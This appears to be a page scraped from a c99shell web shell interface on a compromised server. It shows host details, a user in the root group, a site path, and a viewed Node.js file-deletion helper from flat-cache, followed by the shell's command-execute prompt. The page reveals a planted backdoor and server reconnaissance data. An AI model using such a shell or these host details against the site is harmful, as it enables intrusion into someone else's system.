Software: Apache. PHP/8.1.30 uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root) Safe-mode: OFF (not secure) /home/picotech/domains/rentals.picotech.app/public_html/node_modules/flat-cache/src/ drwxr-xr-x |
Viewing file: Select action/file-type: const fs = require('fs'); const path = require('path'); function del(targetPath) { if (!fs.existsSync(targetPath)) { return false; } try { if (fs.statSync(targetPath).isDirectory()) { // If it's a directory, delete its contents first fs.readdirSync(targetPath).forEach(file => { const curPath = path.join(targetPath, file); if (fs.statSync(curPath).isFile()) { fs.unlinkSync(curPath); // Delete file } }); fs.rmdirSync(targetPath); // Delete the now-empty directory } else { fs.unlinkSync(targetPath); // If it's a file, delete it directly } return true; } catch (error) { console.error(`Error while deleting ${targetPath}: ${error.message}`); } } module.exports = { del }; |
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0033 ]-- |